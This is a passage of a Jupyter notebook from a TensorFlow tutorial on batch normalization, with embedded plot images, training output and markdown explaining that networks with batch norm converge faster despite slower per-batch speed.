dWuFIwx5kC+Sgrt1UcJu1IwxpgsfJkUrKHZGGOy811SSEmQ5njSqo+MMSYL3yWFhDhXCNab\n2RhjDuSzpJAgoU7IdqVgjDEH8llSSBEnCGANzcYYk4XPkkKCuHulYA3NxhhzIJ8lhRSt6lwpWPWR\nMcYcyNOkICIXiMgbIrJORG7KsvwKEXlNRFaIyCIROdnL8gRSCVpT7pWCVR8ZY8wBPEsKIhIE7gbm\nAJOBy0VkcqfV3gbOUdVpOI/ivMer8oBz91E6KdiVgjHGHMDLK4UZwDpVXa+qrcBDwEWZK6jqIlXd\n606+gPPITs+IpmhJCZFQgMJw0MtdGWNMv+Rla+sYYHPGdC0ws5v1PwU8mW2BiMwF5gJUVlbm/bDq\n01Nx9ja0UBRUXz3o248PNvdjzODPuP0YM3gXd5+4BUdEZuMkhbOyLVfVe3CrlqqqqjTfh1W3/jtF\noLCUYZFiXz3o248PNvdjzODPuP0YM3gXt5dJYQswLmN6rDuvAxE5CfglMEdV6zwsD6JJmpNCebG1\nJxhjTDZetiksASaKyAQRiQCXAQsyVxCRo4BHgY+r6loPy+LsT5M0JcRuRzXGmC54dqWgqgkRuQ54\nCggC96rqKhG51l0+D/gmMBT4mYgAJFS1yqsyOVcKdjuqMcZ0xdM2BVVdCCzsNG9exutrgGu8LEMm\n50ohYFcKxhjThT7R0HxEqBLQJI1JG+LC9G/xeJza2lpaWloOWFZRUcGaNWt6oVS9x48xQ9dxFxYW\nMnbsWMLh/E5+/XN0TCUBiKfsSsH0b7W1tZSVlTF+/Hjcate0hoYGysrKeqlkvcOPMUP2uFWVuro6\namtrmTBhQl7b9c/YR6kEAAlC1qZg+rWWlhaGDh16QEIwRkQYOnRo1qvIXPkoKcQBSBCwIS5Mv2cJ\nwXTlUL8bPkoKbVcKQas+MsaYLvgnKSTbk4JVHxmTny996Uv8+Mc/Tk+/5z3v4Zpr2m8gvPHGG7nz\nzjvZunUrl1xyCQDLli1j4cL2mxBvueUW7rjjjsNSnvvvv59t27ZlXXb11VczYcIEpk+fzqRJk7j1\n1ltz2t7WrVt7XOe6667rcVvV1dVUVbXfYb906dJ+0fPaP0nBrhSMOWRnnnkmixYtAiCVSrF7925W\nrVqVXr5o0SJmzZrF6NGjeeSRR4ADk8Lh1F1SAPjBD37AsmXLWLZsGQ888ABvv/12j9vrKSkcjJ07\nd/Lkk1mHdOtRIpE4bOU4GD66+6itTSFot6SaAePWx1exemt9ejqZTBIMHtoIwJNHl/Ot90/JumzW\nrFl86UtfAmDVqlVMnTqVbdu2sXfvXoqLi1mzZg2nnnoqGzZs4H3vex+vvPIK3/zmN2lubub555/n\n61//OgCrV6+murqaTZs2ccMNN/CFL3wBgDvvvJN7770XgGuuuYYbbrghva2VK1cCcMcddxCNRpk6\ndSpLly7lmmuuoaSkhMWLF1NUVJS13G0NryUlJQB8+9vf5vHHH6e5uZlZs2bxi1/8gj/+8Y8sXbqU\nK664gqKiIhYvXszKlSv54he/SGNjIwUFBfzjH/8AYOvWrVxwwQW89dZbXHzxxXz/+9/Put+vfvWr\nfOc732HOnDkHlOezn/0sS5cuJRQKceeddzJ79mzuv/9+Hn30UaLRKMlkkltvvZVvfetbDBo0iBUr\nVvCRj3yEadOmcdddd9HY2MiCBQs49thjc/vD5sh/VwoapMyqj4zJy+jRowmFQmzatIlFixZxxhln\nMHPmTBYvXszSpUuZNm0akUgkvX4kEuHb3/42l156KcuWLePSSy8F4PXXX+epp57ipZde4tZbbyUe\nj/Pyyy9z33338eKLL/LCCy/wf//3f7z66qtdluWSSy6hqqqKX/7ylyxbtixrQvjqV7/K9OnTGTt2\nLJdddhkjRowA4LrrrmPJkiWsXLmS5uZmnnjiifT25s+fz7JlywgGg1x66aXcddddLF++nKeffjq9\nj2XLlvHwww+zYsUKHn74YTZv3nzAvgHOOOMMIpEIzz77bIf5d999NyLCihUrePDBB7nqqqvSieuV\nV17hkUce4Z///CcAy5cvZ968eaxZs4bf/OY3rF27lpdeeokrr7ySn/70p7n+6XLmn1Nmt00hHA4T\nDNidG2Zg6HxGfyTu2Z81axaLFi1i0aJFfPnLX2bLli0sWrSIiooKzjzzzJy28d73vpeCggIKCgoY\nMWIEO3bs4Pnnn+fiiy9On81/6EMf4l//+hcf+MAH8i7rD37wAy655BKi0SjnnXdeunrr2Wef5fvf\n/z5NTU3s2bOHKVOm8P73v7/De9944w1GjRrFaaedBkB5eXl62XnnnUdFRQUAkydPZuPGjYwbN45s\nbr75Zm677Ta+973vpec9//zzXH/99QBMmjSJo48+mrVrneHfzj//fIYMGZJe97TTTmPUqFEAHHvs\n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\nRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11a8176d8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 0.01, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As expected, both networks train well and eventually reach similar test accuracies. However, notice that the model with batch normalization converges slightly faster than the other network, reaching accuracies over 90% almost immediately and nearing its max acuracy in 10 or 15 thousand iterations. The other network takes about 3 thousand iterations to reach 90% and doesn't near its best accuracy until 30 thousand or more iterations.\n", "\n", "If you look at the raw speed, you can see that without batch normalization we were computing over 1100 batches per second, whereas with batch normalization that goes down to just over 500. However, batch normalization allows us to perform fewer iterations and converge in less time over all. (We only trained for 50 thousand batches here so we could plot the comparison.)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks with the same hyperparameters used in the previous example, but only trains for 2000 iterations.**" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:01<00:00, 1069.17it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.8285998106002808\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:04<00:00, 491.20it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9577997326850891\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.826200008392334\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9525001049041748\n" ] }, { "data": { "image/png": "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